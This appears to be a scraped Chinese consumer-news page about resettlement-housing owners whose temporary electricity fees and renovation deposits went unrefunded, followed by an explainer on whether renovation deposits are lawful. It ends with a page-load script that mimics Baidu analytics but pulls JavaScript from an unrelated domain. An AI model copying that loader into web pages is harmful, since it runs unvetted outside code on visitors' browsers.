住了安置房5年 交的临时电费和装潢保证金一直没退

我们的一位业主李小姐拿到安置房现在已经有5年的时间了，还记得当时住在这小区的每家每户都交纳了临时电费和装潢保证金，相关部门承诺到时候会退款，可是过了这么久了都还没有任何下文。在7月14日这一天，我们的李小姐向我们的厦门装修网小编反映了这件事情。李小姐她家住在我国四褐山滨江新居，09年的时候在拿到了新房验房时被收取了500元临时电费和500元装潢保证金，当时记得在场有关工作人员表示，收取这部分费用，以后还会退还，只是作为押金。“当时我们没有异议交了1000元，可是搬进新房已经有5年了，直到现在也没有接到通知说退费，也没有人和居民解释这部分钱到底如何处理的。”李小姐说道。李女士告诉我们的厦门装修公司小编，之前她曾就这笔费用到小区物业公司进行询问，可是得到的答复是，按道理应该退，不过由于物业公司到现在都没有收取卫生费，那么这一笔费用就抵作卫生费了。这让李小姐有些纳闷，物业费是物业费，押金是押金，不能混为一谈，而且即便不退还了也应该和业主做好解释工作。应着李小姐的要求我们辗转和这个小区物业公司相关负责人取得了联系，这位负责人告诉我们，就他所了解，当时由于没有实行供电部门的“一户一表”，而是安装的临时电表，所用的是建投公司的电，所以各户交纳了500元临时电费。按照道理，之后根据各户当时的用电情况，多余的费用是应该退还的，而装潢保证金实际是装潢垃圾清运费，这笔费用是不退还的。这位负责人还告诉我们，因为物业公司现在一直没有收取卫生费，电费就抵作卫生费，也不太可能退了。当地的街道办事处相关工作人员告诉我们，当时各户都收取了500元，区建投公司也开具了票据，这笔临时电费由建投公司统一退还。街道办事处已经帮忙退了绝大部分的费用了，还有小部分费用没有退还。业主可以携带票据到物业公司或是街道办事处，会有工作人员负责登记，安排结算退款事宜。装潢保证金是装潢垃圾清运费，如果业主家里直到今天还没有进行装修，也可以进行结算退还。至于物业公司答复的抵作卫生费，这位工作人员表示：“部分业主交纳卫生费的意识不是很高，如果物业公司将此抵作卫生费也在情理之中。”

什么是装修保证金 装修保证金合理合法吗

很多装修新手都不太明白装修保证金是什么费用，也会怀疑这笔费用的收取是否合理，那么今天就为大家来解答一下装修保证资金的具体含义。一、什么是装修保证金？简单来说，装修保证金是保障权益的一种措施，主要是为了保障小区里面其他人和公共的利益。因为大家都知道，装修的过程有一定的破坏性的风险，特别是当装修人员缺乏专业规范的操作意识的时候，非常容易对小区和其他楼层别人的设施产生破坏，为了避免这种现象的出现，小区内的物业会向装修方收相应的费用作为保证金。二、装修保证金合法吗？从维护公众利益的角度出发，装修保证金是完全具有合理性的，然而合理不代表合法。其实在法律上，装修保证金是没有明确规定的，法律只规定物业应将房屋装修过程当中禁止的行为和需要注意的事项告知业主，并没有规定业主需要缴纳装修保证金。所以从这个角度来说，法律没有明确规定却还是需要缴纳保证金的可以认为是乱收费，业主是有权利拒绝乱收费的。然而现实中，很多地方都还是在收取的。三、装修保证金合同签订如果你缴纳了保证金，那么最好和物业签订具体的合同，合同中写明装修的具体内容，装修时间期限，物业允许装修公司施工的时间，装修垃圾的清运与处理，禁止的行为和必需要注意的事项，物业要收取的管理服务费，任何一方违约的责任金，装修保证金缴纳的具体金额、方式等等。同时保证金如何退，退款需要满足什么条件都需要在合同中进行约定，当满足相关条件的时候，保证金即可无条件退还装修方。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();